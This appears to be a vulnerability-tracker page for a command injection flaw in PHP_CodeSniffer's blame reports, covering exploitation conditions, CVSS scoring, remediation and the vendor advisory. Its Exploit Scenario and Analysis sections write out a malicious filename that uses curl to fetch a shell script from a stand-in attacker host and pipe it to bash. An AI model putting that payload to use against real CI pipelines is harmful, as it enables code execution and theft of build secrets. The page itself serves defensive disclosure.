Skip to main content

PHP_CodeSniffer CVE-2026-67434

| EUVDEUVD-2026-54170 HIGH
OS Command Injection (CWE-78)
2026-08-06 https://github.com/PHPCSStandards/PHP_CodeSniffer GHSA-hmqg-cxww-wqhq
7.3
CVSS 4.0 · Vendor: https://github.com/PHPCSStandards/PHP_CodeSniffer
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Submit PR with shell-metacharacter filename
  2. Delivery
    CI triggers PHPCS with blame report
  3. Exploit
    PHPCS interpolates filename into shell command
  4. Execution
    Shell evaluates embedded command substitution
  5. Impact
    Arbitrary code executes on CI runner

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires all three conditions to hold simultaneously: (1) PHP_CodeSniffer must be invoked with --report=Gitblame, --report=Hgblame, or --report=Svnblame - the default Full report and all other non-blame reports are explicitly not affected; (2) the tool must process a file whose basename contains shell metacharacters such as $(), backticks, ;, or " - the advisory specifically calls out " and ; as examples; (3) the host operating system must permit filenames containing those metacharacters, which excludes most Windows environments where such characters are forbidden at the filesystem level. The attacker must be able to introduce a maliciously named file into the scanned path, most practically by submitting it via a pull request to a repository whose CI pipeline runs PHPCS with blame reporting enabled. No account or privilege on the PHPCS host is required of the attacker; access is solely through VCS contribution. Exploitation is limited to platforms permitting shell-metacharacter filenames (primarily Linux/macOS CI runners).

Impact

The CVSS 4.0 score of 7.3 with vector AV:L/AC:L/AT:P/PR:N/UI:P accurately captures the threat profile. The AT:P (attack requirements present) modifier correctly reflects that exploitation requires the non-default blame report mode - the default Full report is not affected. The local attack vector (AV:L) reflects that code execution occurs on the machine running PHP_CodeSniffer, though the attacker's trigger can originate remotely via a repository contribution. Real-world risk is concentrated in automated CI pipelines that explicitly enable blame reporting on untrusted code; for teams using the default report type, exposure is zero. No EPSS score was provided in the source data, preventing probabilistic comparison. KEV status is not confirmed - the flaw is not listed in CISA KEV at time of analysis. However, the advisory is fully public, the patch diff reveals the exact injection point, and a working exploit technique is trivially constructible from the test case included in PR #1473, which demonstrates $(touch newfile.txt).php as a proof-of-concept filename.

Exploit ScenarioDerived

An attacker submits a pull request to a target project's repository containing a PHP file named $(curl https://attacker.example/shell.sh|bash).php. When the project's CI pipeline runs PHP_CodeSniffer with --report=Gitblame to produce annotated output, the blame report constructs a shell command with the unsanitized filename interpolated inside double quotes; the shell evaluates the embedded $(...) substitution and executes the attacker's remote script on the CI runner with the permissions of the CI process. The PR #1473 test suite includes this exact vector ($(touch newfile.txt).php), confirming the injection mechanism requires no additional sophistication.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
1 PoC candidate (unverified) Patch available 0.7% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – Aug 06, 2026

Command injection in PHP_CodeSniffer's Gitblame, Hgblame, and Svnblame report generators allows arbitrary shell command execution on the host running the tool when it processes files with shell-metacharacter-containing names. Versions before 3.13.6 (v3 branch) and 4.0.2 (v4 branch) are affected. This is especially impactful in CI/CD pipelines scanning untrusted pull requests, where an attacker can submit a file named with embedded shell commands (e.g., $(curl attacker.com/shell.sh|bash).php) and trigger execution on the CI runner - no public exploit confirmed at time of analysis, but the fix diff and advisory make the injection mechanism fully public.

Earlier versions of this analysis (1)
v1 Aug 06, 2026 - 22:01

Command injection in PHP_CodeSniffer's Gitblame, Hgblame, and Svnblame report generators allows an attacker who can control scanned filenames — for example by submitting a pull request to a repository monitored by a CI pipeline — to execute arbitrary shell commands on the scanning host. All 3.x versions before 3.13.6 and all 4.x versions before 4.0.2 are affected when blame reports are in use. No public exploit code has been identified at time of analysis, but the published patch diff confirms the injection vector via crafted filenames such as $(touch newfile.txt).php and the test suite demonstrates successful command execution prior to the fix.

RemediationAI

Upgrade PHP_CodeSniffer to v3.13.6 (v3 branch) or v4.0.2 (v4 branch), which apply escapeshellarg() to filenames in all three blame report files and add the -- end-of-options separator for git blame, as detailed in PR #1473 (https://github.com/PHPCSStandards/PHP_CodeSniffer/pull/1473). These are the exact fix versions confirmed by the vendor advisory GHSA-hmqg-cxww-wqhq. For teams unable to upgrade immediately, the vendor-recommended workaround is to avoid specifying --report=Gitblame, --report=Hgblame, or --report=Svnblame in any PHPCS invocation that processes untrusted code - switching to the default Full report or any other non-blame report type completely eliminates the attack surface without requiring a version change. This workaround requires auditing all CI job definitions, pre-commit hook scripts, and automated review service configurations to confirm no blame report types are in use. Note that the workaround does not protect against future accidental re-introduction of blame reporting, making the upgrade the preferred long-term fix.

Affected VersionsENISA

PHP_CodeSniffer < 3.13.6
PHP_CodeSniffer 4.0.0, < 4.0.2

Affected Packages

composer squizlabs/php_codesniffer fix: 3.13.6, 4.0.2
euvd php_codesniffer fix: 3.13.6, 4.0.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

PHP_CodeSniffer (composer package squizlabs/php_codesniffer) is a widely-used PHP code quality tool that enforces coding standards. Its blame reports - Gitblame, Hgblame, and Svnblame - annotate output by invoking VCS blame binaries via PHP shell execution. The root cause (CWE-78: OS Command Injection) is that filenames were interpolated directly into shell command strings using only double-quote wrapping, without sanitization. For example, Gitblame constructed: git blame --date=short " + basename($filename) + " 2>&1. A filename containing $(command) bypasses double-quote containment via command substitution, and filenames starting with - could be treated as flags. The fix in PR #1473 applies PHP's escapeshellarg() to all three report files and adds the -- end-of-options separator for git blame, correctly neutralizing both injection vectors.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/PHPCSStandards/PHP_CodeSniffer) PRIMARY 7.3 HIGH
CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 7.8 HIGH

AV:L because execution occurs locally on the PHPCS host; PR:N since attacker needs no account on that host; UI:R because a developer or CI job must actively invoke the blame report against the malicious file.

3.1 AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
4.0 AV:L/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Red Hat 7.8 HIGH

Primary rating from Vendor (https://github.com/PHPCSStandards/PHP_CodeSniffer).

CVSS VectorVendor: https://github.com/PHPCSStandards/PHP_CodeSniffer

Attack Vector
Local
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

3
Analysis Updated
Aug 06, 2026 - 22:33 vuln.today
v2 - CVSS changed
CVSS changed
Aug 06, 2026 - 22:22 NVD
7.3 (HIGH)
CVE Published
Aug 06, 2026 - 21:31 cve.org
HIGH

DescriptionCVE.org

Impact

PHP_CodeSniffer versions before v3.13.6 and v4.0.2 contain a command injection vulnerability in the code creating the Gitblame, Hgblame and Svnblame report(s).

As a result, running PHP_CodeSniffer over untrusted files, for example, in a CI pipeline that scans pull requests, or on a developer machine reviewing third-party code, could result in attacker-controlled shell commands being executed when the Gitblame, Hgblame or Svnblame report(s) would process a file whose name contains shell metacharacters.

  • Users using the default Full report, or any of the other non-*blame reports, are not affected.
  • Users on a runtime platform which does not allow filenames to contain shell metacharacters, such as " and ;, are not affected.

Patched versions

The issue has been fixed in PHP_CodeSniffer v3.13.6 and v4.0.2. We recommend all users upgrade to these versions at their earliest convenience.

Workaround

Users of PHP_CodeSniffer who cannot upgrade immediately should ensure they do not use the Gitblame, Hgblame or the Svnblame reports when scanning untrusted code.

This is especially relevant for CI jobs, pre-commit or review tooling, automated review services, and any service that scans untrusted repositories or uploaded source trees.

Credits

Many thanks to both @Faze-up and @edorian for responsibly disclosing this vulnerability.

How can I report a security bug?

Please report security vulnerabilities privately via the "Security and quality" tab on the PHP_CodeSniffer repository.

Latest POC

1 PoC candidate from github (unverified)

Sign in to open the public PoC links collected for this CVE.

Executive ViewAI

Why It Matters

PHP_CodeSniffer versions prior to 3.13.6 (v3) and 4.0.2 (v4) contain a command injection vulnerability in their Gitblame, Hgblame, and Svnblame report generators that allows attackers to execute arbitrary shell commands when processing files with malicious names. For organizations running PHP_CodeSniffer in CI/CD pipelines-particularly those analyzing untrusted pull requests-this vulnerability poses a direct risk of pipeline compromise and lateral movement to internal systems.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.7%
Top 50% exploitable
Prevalence
High
widely used PHP coding standards tool across CI pipelines globally
Threat Intel
1
1 sources
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.7%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Small
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

57
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +36
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Vendor StatusVendor

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy